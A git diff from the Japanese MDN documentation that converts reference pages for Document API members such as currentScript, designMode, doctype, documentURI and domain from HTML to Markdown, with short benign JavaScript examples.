diff --git a/files/ja/web/api/document/currentscript/index.md b/files/ja/web/api/document/currentscript/index.md new file mode 100644 index 00000000000000..21c79522d257cb --- /dev/null +++ b/files/ja/web/api/document/currentscript/index.md @@ -0,0 +1,54 @@ +--- +title: Document.currentScript +slug: Web/API/Document/currentScript +tags: + - API + - DOM + - Document + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/currentScript +--- +{{APIRef("DOM")}} + +**`Document.currentScript`** プロパティは、現在処理中で、 [JavaScript モジュールではない](https://github.com/whatwg/html/issues/997)スクリプトの {{HTMLElement("script")}} 要素を返します。 (モジュールの場合は代わりに {{JSxRef("Statements/import%2Emeta", "import.meta")}} を使用してください。 + +重要なことですが、スクリプト内のコードがコールバックまたはイベントハンドラーとして呼び出されている場合は、 {{HTMLElement("script")}} 要素を参照しないことに注意してください。初期化時に処理されている要素のみを参照します。 + +## 構文 + +``` +var curScriptElement = document.currentScript; +``` + +## 例 + +次の例では、スクリプトが非同期で実行されているかどうかをチェックしています。 + +```js +if (document.currentScript.async) { + console.log("非同期で実行中"); +} else { + console.log("同期で実行中"); +} +``` + +[実際の表示を確認](/samples/html/currentScript.html) + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------- | +| {{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}} | {{Spec2("HTML WHATWG")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.currentScript")}} + +## 関連情報 + +- {{JSxRef("Statements/import%2Emeta", "import.meta")}} +- {{HTMLElement("script")}} +- {{DOMxRef("document.onafterscriptexecute")}} +- {{DOMxRef("document.onbeforescriptexecute")}} diff --git a/files/ja/web/api/document/cut_event/index.html b/files/ja/web/api/document/cut_event/index.html deleted file mode 100644 index 36b67a63944e62..00000000000000 --- a/files/ja/web/api/document/cut_event/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: 'Document: cut イベント' -slug: Web/API/Document/cut_event -tags: - - API - - Clipboard API - - Cut - - Document - - Event - - Reference - - Web -translation_of: Web/API/Document/cut_event ---- -
{{APIRef}}
- -

cut イベントは、ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を実行したときに発生します。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncut", "oncut")}}
- -

このイベントの本来の対象は、切り取り操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 Element: cut イベントを参照してください。

- -

- -
document.addEventListener('cut', (event) => {
-    console.log('cut action initiated')
-});
- -

仕様書

- - - - - - - - - - - - - - -
仕様書状態
{{SpecName('Clipboard API', '#clipboard-event-cut')}}{{Spec2('Clipboard API')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.cut_event")}}

- -

関連情報

- -
    -
  • 関連イベント: {{domxref("Document/copy_event", "copy")}}, {{domxref("Document/paste_event", "paste")}}
  • -
  • {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/cut_event", "cut")}}
  • -
  • {{domxref("Document")}} を対象としたこのイベント: {{domxref("Document/cut_event", "cut")}}
  • -
diff --git a/files/ja/web/api/document/cut_event/index.md b/files/ja/web/api/document/cut_event/index.md new file mode 100644 index 00000000000000..86d82d6f7ce835 --- /dev/null +++ b/files/ja/web/api/document/cut_event/index.md @@ -0,0 +1,63 @@ +--- +title: 'Document: cut イベント' +slug: Web/API/Document/cut_event +tags: + - API + - Clipboard API + - Cut + - Document + - Event + - Reference + - Web +translation_of: Web/API/Document/cut_event +--- +{{APIRef}} + +**`cut`** イベントは、ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を実行したときに発生します。 + + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル
インターフェイス{{domxref("ClipboardEvent")}}
イベントハンドラープロパティ{{domxref("HTMLElement/oncut", "oncut")}}
+ +このイベントの本来の対象は、切り取り操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 [Element: cut イベント](/ja/docs/Web/API/Element/cut_event)を参照してください。 + +## 例 + +```js +document.addEventListener('cut', (event) => { + console.log('cut action initiated') +}); +``` + +## 仕様書 + +| 仕様書 | 状態 | +| ------------------------------------------------------------------------ | ------------------------------------ | +| {{SpecName('Clipboard API', '#clipboard-event-cut')}} | {{Spec2('Clipboard API')}} | + +## ブラウザーの互換性 + +{{Compat("api.Document.cut_event")}} + +## 関連情報 + +- 関連イベント: {{domxref("Document/copy_event", "copy")}}, {{domxref("Document/paste_event", "paste")}} +- {{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/cut_event", "cut")}} +- {{domxref("Document")}} を対象としたこのイベント: {{domxref("Document/cut_event", "cut")}} diff --git a/files/ja/web/api/document/defaultview/index.html b/files/ja/web/api/document/defaultview/index.html deleted file mode 100644 index ee022ee27b464a..00000000000000 --- a/files/ja/web/api/document/defaultview/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Document.defaultView -slug: Web/API/Document/defaultView -tags: -- API -- Document -- HTML DOM -- Property -- Reference -browser-compat: api.Document.defaultView -translation_of: Web/API/Document/defaultView ---- -
{{ApiRef}}
- -

ブラウザーにおいて、document.defaultView はドキュメントに関連付けられている {{domxref("Window", "window")}} オブジェクトを返します。もし存在しない場合は null を返します。

- -

構文

- -
var win = document.defaultView;
- -

このプロパティは読み取り専用です。

- -

仕様書

- -{{Specifications}} - -

ブラウザーの互換性

- -

{{Compat}}

diff --git a/files/ja/web/api/document/defaultview/index.md b/files/ja/web/api/document/defaultview/index.md new file mode 100644 index 00000000000000..a6b1778c24a10b --- /dev/null +++ b/files/ja/web/api/document/defaultview/index.md @@ -0,0 +1,31 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +browser-compat: api.Document.defaultView +--- +{{ApiRef}} + +ブラウザーにおいて、**`document.defaultView`** はドキュメントに関連付けられている {{domxref("Window", "window")}} オブジェクトを返します。もし存在しない場合は `null` を返します。 + +## 構文 + +```js +var win = document.defaultView; +``` + +このプロパティは読み取り専用です。 + +## 仕様書 + +{{Specifications}} + +## ブラウザーの互換性 + +{{Compat}} diff --git a/files/ja/web/api/document/designmode/index.html b/files/ja/web/api/document/designmode/index.html deleted file mode 100644 index c0a2da4cdef89e..00000000000000 --- a/files/ja/web/api/document/designmode/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Document.designMode -slug: Web/API/Document/designMode -tags: - - API - - DOM - - Document - - HTML DOM - - Property - - Reference - - designmode - - editor - - エディター -translation_of: Web/API/Document/designMode ---- -
{{ApiRef()}}
- -

document.designMode は、文書全体を編集可能にするかどうかを制御します。妥当な値は "on" および "off" です。仕様書では、このプロパティの既定値は "off" です。 Firefox はこの標準仕様に従っています。初期のバージョンの Chrome や IE は既定で "inherit" です。 Chrome 43 以降では、既定値は "off" であり、 "inherit" には対応しなくなりました。 IE6~10 では、値が大文字です。

- -

構文

- -
var mode = document.designMode;
-document.designMode = value;
- -

- -

designMode が on または off のどちらに設定されているか (または設定するか) を示す文字列です。有効な値は on および off です。

- -

- -

{{HTMLElement("iframe")}} の文書を編集可能にします。

- -
iframeNode.contentDocument.designMode = "on";
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}{{Spec2('HTML WHATWG')}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.designMode")}}

- -

関連情報

- - diff --git a/files/ja/web/api/document/designmode/index.md b/files/ja/web/api/document/designmode/index.md new file mode 100644 index 00000000000000..4c1aaa5e2bf644 --- /dev/null +++ b/files/ja/web/api/document/designmode/index.md @@ -0,0 +1,52 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - DOM + - Document + - HTML DOM + - Property + - Reference + - designmode + - editor + - エディター +translation_of: Web/API/Document/designMode +--- +{{ApiRef()}} + +**`document.designMode`** は、文書全体を編集可能にするかどうかを制御します。妥当な値は `"on"` および `"off"` です。仕様書では、このプロパティの既定値は `"off"` です。 Firefox はこの標準仕様に従っています。初期のバージョンの Chrome や IE は既定で `"inherit"` です。 Chrome 43 以降では、既定値は `"off"` であり、 `"inherit"` には対応しなくなりました。 IE6 ~ 10 では、値が大文字です。 + +## 構文 + +``` +var mode = document.designMode; +document.designMode = value; +``` + +### 値 + +`designMode` が on または off のどちらに設定されているか (または設定するか) を示す文字列です。有効な値は `on` および `off` です。 + +## 例 + +{{HTMLElement("iframe")}} の文書を編集可能にします。 + +```js +iframeNode.contentDocument.designMode = "on"; +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}} | {{Spec2('HTML WHATWG')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.designMode")}} + +## 関連情報 + +- [Mozilla におけるリッチテキスト編集](/ja/docs/Rich-Text_Editing_in_Mozilla) +- {{domxref("HTMLElement.contentEditable")}} diff --git a/files/ja/web/api/document/dir/index.html b/files/ja/web/api/document/dir/index.html deleted file mode 100644 index 60a685df0ad71b..00000000000000 --- a/files/ja/web/api/document/dir/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Document.dir -slug: Web/API/Document/dir -tags: - - API - - Document - - HTML DOM - - Reference - - プロパティ -translation_of: Web/API/Document/dir ---- -
{{ApiRef("HTML DOM")}}
- -

Document.dir プロパティは {{domxref("DOMString")}} で、文書のテキストの書字方向が、左書き (既定) か右書きかを表します。有効な値は 'rtl' 右書き (右から左)、または 'ltr' 左書き (左から右) です。

- -

構文

- -
dirStr = document.dir
-document.dir = dirStr
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}}{{Spec2("HTML WHATWG")}}初回定義
- -

ブラウザーの互換性

- -

{{Compat("api.Document.dir")}}

- -

関連情報

- -
    -
  • dir グローバル属性
  • -
diff --git a/files/ja/web/api/document/dir/index.md b/files/ja/web/api/document/dir/index.md new file mode 100644 index 00000000000000..f5b9ea3e4297d1 --- /dev/null +++ b/files/ja/web/api/document/dir/index.md @@ -0,0 +1,35 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +tags: + - API + - Document + - HTML DOM + - Reference + - プロパティ +translation_of: Web/API/Document/dir +--- +{{ApiRef("HTML DOM")}} + +**`Document.dir`** プロパティは {{domxref("DOMString")}} で、文書のテキストの書字方向が、左書き (既定) か右書きかを表します。有効な値は `'rtl'` 右書き (右から左)、または `'ltr'` 左書き (左から右) です。 + +## 構文 + +``` +dirStr = document.dir +document.dir = dirStr +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}} | {{Spec2("HTML WHATWG")}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.dir")}} + +## 関連情報 + +- [`dir`](/ja/docs/Web/HTML/Global_attributes/dir) グローバル属性 diff --git a/files/ja/web/api/document/doctype/index.html b/files/ja/web/api/document/doctype/index.html deleted file mode 100644 index b2ff8cb2446635..00000000000000 --- a/files/ja/web/api/document/doctype/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Document.doctype -slug: Web/API/Document/doctype -tags: - - API - - DOCTYPE - - DOM - - Document - - Reference - - プロパティ -translation_of: Web/API/Document/doctype ---- -
{{ApiRef("DOM")}}
- -

現在の文書に関連付けられた文書型宣言 (Document Type Declaration) (DTD) を返します。返されるオブジェクトは、 {{domxref("DocumentType")}} インターフェイスを持ちます。 DocumentType を生成するには {{domxref("DOMImplementation.createDocumentType()")}} を使用してください。

- -

構文

- -
doctype = document.doctype;
-
- -
    -
  • doctype : 読み取り専用のプロパティです。
  • -
- -

- -
var doctypeObj = document.doctype;
-
-console.log(
-  "doctypeObj.name: "           + doctypeObj.name            + "\n" +
-  "doctypeObj.internalSubset: " + doctypeObj.internalSubset  + "\n" +
-  "doctypeObj.publicId: "       + doctypeObj.publicId        + "\n" +
-  "doctypeObj.systemId: "       + doctypeObj.systemId
-);
- -

メモ

- -

現在の文書に関連付けられている DTD が存在しないは null が返されます。

- -

DOM レベル 2 では、文書型宣言の編集に対応していません。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの対応

- -

{{Compat("api.Document.doctype")}}

diff --git a/files/ja/web/api/document/doctype/index.md b/files/ja/web/api/document/doctype/index.md new file mode 100644 index 00000000000000..03e974724a05a0 --- /dev/null +++ b/files/ja/web/api/document/doctype/index.md @@ -0,0 +1,52 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +tags: + - API + - DOCTYPE + - DOM + - Document + - Reference + - プロパティ +translation_of: Web/API/Document/doctype +--- +{{ApiRef("DOM")}} + +現在の文書に関連付けられた文書型宣言 (Document Type Declaration) (DTD) を返します。返されるオブジェクトは、 {{domxref("DocumentType")}} インターフェイスを持ちます。 `DocumentType` を生成するには {{domxref("DOMImplementation.createDocumentType()")}} を使用してください。 + +## 構文 + +``` +doctype = document.doctype; +``` + +- `doctype` : 読み取り専用のプロパティです。 + +## 例 + +```js +var doctypeObj = document.doctype; + +console.log( + "doctypeObj.name: " + doctypeObj.name + "\n" + + "doctypeObj.internalSubset: " + doctypeObj.internalSubset + "\n" + + "doctypeObj.publicId: " + doctypeObj.publicId + "\n" + + "doctypeObj.systemId: " + doctypeObj.systemId +); +``` + +## メモ + +現在の文書に関連付けられている DTD が存在しないは `null` が返されます。 + +DOM レベル 2 では、文書型宣言の編集に対応していません。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------------------ | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.doctype")}} diff --git a/files/ja/web/api/document/document/index.html b/files/ja/web/api/document/document/index.html deleted file mode 100644 index 9af2b27e16d6ca..00000000000000 --- a/files/ja/web/api/document/document/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Document() -slug: Web/API/Document/Document -tags: - - API - - DOM - - Document - - Reference - - コンストラクター -translation_of: Web/API/Document/Document ---- -
{{APIRef}}
- -

Document コンストラクターは、ブラウザーに読み込まれたウェブページである {{domxref("Document")}} オブジェクトを新たに生成し、そのページの内容へのエントリーポイントを提供します。

- -

構文

- -
new Document();
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-document','Document')}}{{Spec2('DOM WHATWG')}}初回定義
- -

ブラウザーの互換性

- -
{{Compat("api.Document.Document")}}
diff --git a/files/ja/web/api/document/document/index.md b/files/ja/web/api/document/document/index.md new file mode 100644 index 00000000000000..8744ed6da66418 --- /dev/null +++ b/files/ja/web/api/document/document/index.md @@ -0,0 +1,30 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - DOM + - Document + - Reference + - コンストラクター +translation_of: Web/API/Document/Document +--- +{{APIRef}} + +**`Document`** コンストラクターは、ブラウザーに読み込まれたウェブページである {{domxref("Document")}} オブジェクトを新たに生成し、そのページの内容へのエントリーポイントを提供します。 + +## 構文 + +``` +new Document(); +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | -------- | +| {{SpecName('DOM WHATWG','#dom-document-document','Document')}} | {{Spec2('DOM WHATWG')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.Document")}} diff --git a/files/ja/web/api/document/documentelement/index.html b/files/ja/web/api/document/documentelement/index.html deleted file mode 100644 index 0bafaeff0b7439..00000000000000 --- a/files/ja/web/api/document/documentelement/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Document.documentElement -slug: Web/API/Document/documentElement -tags: - - API - - DOM - - Document - - Node - - Reference - - documentElement - - root - - プロパティ -translation_of: Web/API/Document/documentElement ---- -
{{ApiRef("DOM")}}
- -

Document.documentElement は、その {{domxref("document")}} のルート要素 (例えば、 HTML 文書の場合は {{HTMLElement("html")}} 要素) である {{domxref("Element")}} を返します。

- -

構文

- -
const element = document.documentElement
-
- -

- -
const rootElement = document.documentElement;
-const firstTier = rootElement.childNodes;
-// firstTier は <head> や <body> などの
-// ルート要素の直接の子である NodeList
-
-for (const child of firstTier) {
-  // ルート要素のそれぞれの直接の子に対する処理
-}
- -

メモ

- -

空ではない HTML 文章の場合、 documentElement は常に {{HTMLElement("html")}} 要素を返します。空ではない XML 文章の場合、 documentElement は常に文章のルート要素である何らかの要素を返します。

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.documentElement")}}

diff --git a/files/ja/web/api/document/documentelement/index.md b/files/ja/web/api/document/documentelement/index.md new file mode 100644 index 00000000000000..81eb6a5dfe607b --- /dev/null +++ b/files/ja/web/api/document/documentelement/index.md @@ -0,0 +1,50 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Node + - Reference + - documentElement + - root + - プロパティ +translation_of: Web/API/Document/documentElement +--- +{{ApiRef("DOM")}} + +**`Document.documentElement`** は、その {{domxref("document")}} のルート要素 (例えば、 HTML 文書の場合は {{HTMLElement("html")}} 要素) である {{domxref("Element")}} を返します。 + +## 構文 + +``` +const element = document.documentElement +``` + +## 例 + +```js +const rootElement = document.documentElement; +const firstTier = rootElement.childNodes; +// firstTier は や などの +// ルート要素の直接の子である NodeList + +for (const child of firstTier) { + // ルート要素のそれぞれの直接の子に対する処理 +} +``` + +## メモ + +空ではない HTML 文章の場合、 `documentElement` は常に {{HTMLElement("html")}} 要素を返します。空ではない XML 文章の場合、 `documentElement` は常に文章のルート要素である何らかの要素を返します。 + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.documentElement")}} diff --git a/files/ja/web/api/document/documenturi/index.html b/files/ja/web/api/document/documenturi/index.html deleted file mode 100644 index 7451aefcfc5e44..00000000000000 --- a/files/ja/web/api/document/documenturi/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Document.documentURI -slug: Web/API/Document/documentURI -tags: -- API -- DOM -- Document -- Property -- Read-only -- Reference - - Web - - プロパティ -translation_of: Web/API/Document/documentURI ---- -
{{ApiRef("DOM")}}
- -

{{domxref("Document")}} インターフェイスの documentURI プロパティは、文書の位置を文字列で返します。

- -

構文

- -
const uri = document.documentURI
-
- -

- -

JavaScript

- -
document.getElementById("url").textContent = document.documentURI;
- -

HTML

- -
<p id="urlText">
-  URL:<br/>
-  <span id="url">URL goes here</span>
-</p>
- -

結果

- -

{{EmbedLiveSample("Example", "100%", 100)}}

- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}{{Spec2('DOM WHATWG')}}
- -

ブラウザーの互換性

- -

{{Compat("api.Document.documentURI")}}

- -

関連情報

- -
    -
  • 同じ値を返す {{domxref("document.URL")}} プロパティ
  • -
diff --git a/files/ja/web/api/document/documenturi/index.md b/files/ja/web/api/document/documenturi/index.md new file mode 100644 index 00000000000000..46d2ca6922ca2f --- /dev/null +++ b/files/ja/web/api/document/documenturi/index.md @@ -0,0 +1,56 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - API + - DOM + - Document + - Property + - Read-only + - Reference - Web - プロパティ +translation_of: Web/API/Document/documentURI +--- +{{ApiRef("DOM")}} + +{{domxref("Document")}} インターフェイスの **`documentURI`** プロパティは、文書の位置を文字列で返します。 + +## 構文 + +```js +const uri = document.documentURI +``` + +## 例 + +### JavaScript + +```js +document.getElementById("url").textContent = document.documentURI; +``` + +### HTML + +```html +

+ URL:
+ URL goes here +

+``` + +### 結果 + +{{EmbedLiveSample("Example", "100%", 100)}} + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}} | {{Spec2('DOM WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.documentURI")}} + +## 関連情報 + +- 同じ値を返す {{domxref("document.URL")}} プロパティ diff --git a/files/ja/web/api/document/documenturiobject/index.html b/files/ja/web/api/document/documenturiobject/index.html deleted file mode 100644 index d28d29a2bc2466..00000000000000 --- a/files/ja/web/api/document/documenturiobject/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Document.documentURIObject -slug: Web/API/Document/documentURIObject -tags: - - API - - DOM - - Non-standard - - Reference - - プロパティ - - 標準外 -translation_of: Web/API/Document/documentURIObject ---- -
{{ApiRef("DOM")}}{{Non-standard_header}}
- -

Document.documentURIObject プロパティは読み取り専用で、 document の URI を表す nsIURI オブジェクトを返します。

- -

このプロパティは、拡張機能のコードなどの (UniversalXPConnect) 特権を持つスクリプトでのみ機能します。ウェブコンテンツではこのプロパティは特別な意味を持たず、他のカスタムプロパティと同様に扱うことしかできません。

- -

特権コードでは、(XPCNativeWrapperwrappedJSObject などの) ラップされていないコンテンツオブジェクトに対してこのプロパティを取得または設定しないように注意しなければなりません。詳しくは {{Bug(324464)}} のコメントを参照して下さい。

- -

構文

- -
var uri = document.documentURIObject;
-
- -

- -
// Firefox の現在のタブの URI スキームが "http" かどうか調べる
-// このコードは browser.xul のコンテキストで実行されるものとする
-var uriObj = content.document.documentURIObject;
-var uriPort = uriObj.port;
-
-if (uriObj.schemeIs('http')) {
-  ...
-}
-
- -

仕様書

- -

どの仕様にも属しません。

- -

ブラウザーの対応

- -

{{Compat("api.Document.documentURIObject")}}

diff --git a/files/ja/web/api/document/documenturiobject/index.md b/files/ja/web/api/document/documenturiobject/index.md new file mode 100644 index 00000000000000..1adff14314c14b --- /dev/null +++ b/files/ja/web/api/document/documenturiobject/index.md @@ -0,0 +1,46 @@ +--- +title: Document.documentURIObject +slug: Web/API/Document/documentURIObject +tags: + - API + - DOM + - Non-standard + - Reference + - プロパティ + - 標準外 +translation_of: Web/API/Document/documentURIObject +--- +{{ApiRef("DOM")}}{{Non-standard_header}} + +**`Document.documentURIObject`** プロパティは読み取り専用で、 [document](/ja/docs/Web/API/document) の URI を表す `nsIURI` オブジェクトを返します。 + +このプロパティは、拡張機能のコードなどの (UniversalXPConnect) 特権を持つスクリプトでのみ機能します。ウェブコンテンツではこのプロパティは特別な意味を持たず、他のカスタムプロパティと同様に扱うことしかできません。 + +特権コードでは、([`XPCNativeWrapper`](/ja/XPCNativeWrapper) の `wrappedJSObject` などの) ラップされていないコンテンツオブジェクトに対してこのプロパティを取得または設定しないように注意しなければなりません。詳しくは {{Bug(324464)}} のコメントを参照して下さい。 + +## 構文 + +``` +var uri = document.documentURIObject; +``` + +## 例 + +```js +// Firefox の現在のタブの URI スキームが "http" かどうか調べる +// このコードは browser.xul のコンテキストで実行されるものとする +var uriObj = content.document.documentURIObject; +var uriPort = uriObj.port; + +if (uriObj.schemeIs('http')) { + ... +} +``` + +## 仕様書 + +どの仕様にも属しません。 + +## ブラウザーの互換性 + +{{Compat("api.Document.documentURIObject")}} diff --git a/files/ja/web/api/document/domain/index.html b/files/ja/web/api/document/domain/index.html deleted file mode 100644 index 5a8651f5bfa837..00000000000000 --- a/files/ja/web/api/document/domain/index.html +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Document.domain -slug: Web/API/Document/domain -tags: - - API - - Document - - HTML DOM - - Property - - Reference -translation_of: Web/API/Document/domain ---- -
{{ApiRef}}
- -

{{domxref("Document")}} インターフェイスの domain プロパティは、同一オリジンポリシーで使用される現在の文書の{{glossary("origin", "オリジン")}}のうち、ドメインの部分を取得または設定します。

- -

このプロパティが正常に設定されると、オリジンのポート番号の部分も {{jsxref("null")}} に設定されます。

- -

構文

- -
const domainString = document.domain
-document.domain = domainString
- -

- -

現在の文書のオリジンのうち、ドメインの部分です。

- -

例外

- -
-
SecurityError
-
以下の状況のうちの一つで、 domain を設定することが試みられた。 -
    -
  • 文書がサンドボックス化された {{htmlelement("iframe")}} の中にある場合
  • -
  • 文書に{{glossary("browsing context", "閲覧コンテキスト")}}がない場合
  • -
  • 文書の影響ドメインnull の場合
  • -
  • 指定された値が文書の影響ドメインと一致しない (または登録可能なドメインの接頭辞ではない) 場合
  • -
  • {{HTTPHeader("Feature-Policy")}} の {{httpheader('Feature-Policy/document-domain','document-domain')}} が有効の場合
  • -
-
-
- -

- -

ドメイン名の取得

- -

http://developer.mozilla.org/en-US/docs/Web の URI において、この例は currentDomain に "developer.mozilla.org" の文字列を設定します。

- -
const currentDomain = document.domain;
- -

ウィンドウを閉じる

- -

文書が www.example.xxx/good.html のような "www.example.xxx" のドメインを持つ場合、この例はウィンドウを閉じようとします。

- -
const badDomain = "www.example.xxx";
-
-if (document.domain === badDomain) {
-  // 単なる例: window.close() は効果がないことがある
-  window.close();
-}
-
- -

仕様書

- - - - - - - - - - - - - - - - -
仕様書状態備考
{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}{{Spec2('HTML WHATWG')}}
- -

ブラウザーの互換性

- -
{{Compat("api.Document.domain")}}
- -

関連情報

- - diff --git a/files/ja/web/api/document/domain/index.md b/files/ja/web/api/document/domain/index.md new file mode 100644 index 00000000000000..263df59dd114af --- /dev/null +++ b/files/ja/web/api/document/domain/index.md @@ -0,0 +1,76 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +{{ApiRef}} + +{{domxref("Document")}} インターフェイスの **`domain`** プロパティは、[同一オリジンポリシー](/ja/docs/Web/Security/Same-origin_policy)で使用される現在の文書の{{glossary("origin", "オリジン")}}のうち、ドメインの部分を取得または設定します。 + +このプロパティが正常に設定されると、オリジンのポート番号の部分も {{jsxref("null")}} に設定されます。 + +## 構文 + +``` +const domainString = document.domain +document.domain = domainString +``` + +### 値 + +現在の文書のオリジンのうち、ドメインの部分です。 + +### 例外 + +- `SecurityError` + + - : 以下の状況のうちの一つで、 `domain` を設定することが試みられた。 + + - 文書がサンドボックス化された {{htmlelement("iframe")}} の中にある場合 + - 文書に{{glossary("browsing context", "閲覧コンテキスト")}}がない場合 + - 文書の[影響ドメイン](https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain)が `null` の場合 + - 指定された値が文書の影響ドメインと一致しない (または登録可能なドメインの接頭辞ではない) 場合 + - {{HTTPHeader("Feature-Policy")}} の {{httpheader('Feature-Policy/document-domain','document-domain')}} が有効の場合 + +## 例 + +### ドメイン名の取得 + +`http://developer.mozilla.org/en-US/docs/Web` の URI において、この例は `currentDomain` に "`developer.mozilla.org`" の文字列を設定します。 + +```js +const currentDomain = document.domain; +``` + +### ウィンドウを閉じる + +文書が `www.example.xxx/good.html` のような "`www.example.xxx`" のドメインを持つ場合、この例はウィンドウを閉じようとします。 + +```js +const badDomain = "www.example.xxx"; + +if (document.domain === badDomain) { + // 単なる例: window.close() は効果がないことがある + window.close(); +} +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ---- | +| {{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}} | {{Spec2('HTML WHATWG')}} | | + +## ブラウザーの互換性 + +{{Compat("api.Document.domain")}} + +## 関連情報 + +- [同一オリジンポリシー](/ja/docs/Web/Security/Same-origin_policy) diff --git a/files/ja/web/api/document/domcontentloaded_event/index.html b/files/ja/web/api/document/domcontentloaded_event/index.html deleted file mode 100644 index c89a7ebfcb0fa9..00000000000000 --- a/files/ja/web/api/document/domcontentloaded_event/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: 'Document: DOMContentLoaded イベント' -slug: Web/API/Document/DOMContentLoaded_event -tags: - - API - - DOMContentLoaded - - Document - - Event - - Web -translation_of: Web/API/Document/DOMContentLoaded_event ---- -
{{APIRef}}
- -

DOMContentLoaded イベントは、 HTML の初期文書が完全に読み込まれ解釈された時点で発生し、スタイルシート、画像、サブフレームの読み込みが完了するのを待ちません。

- - - - - - - - - - - - - - - - - - - - -
バブリングあり
キャンセル可 (ただし、キャンセル可能ではない単純イベントとして定義されている)
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティなし
- -

別なイベントである {{domxref("Window/load_event", "load")}} は、ページ全体が読み込まれたときにのみ使用します。 loadDOMContentLoaded がより適切である場面で使ってしまうことがよくある誤りです。

- -

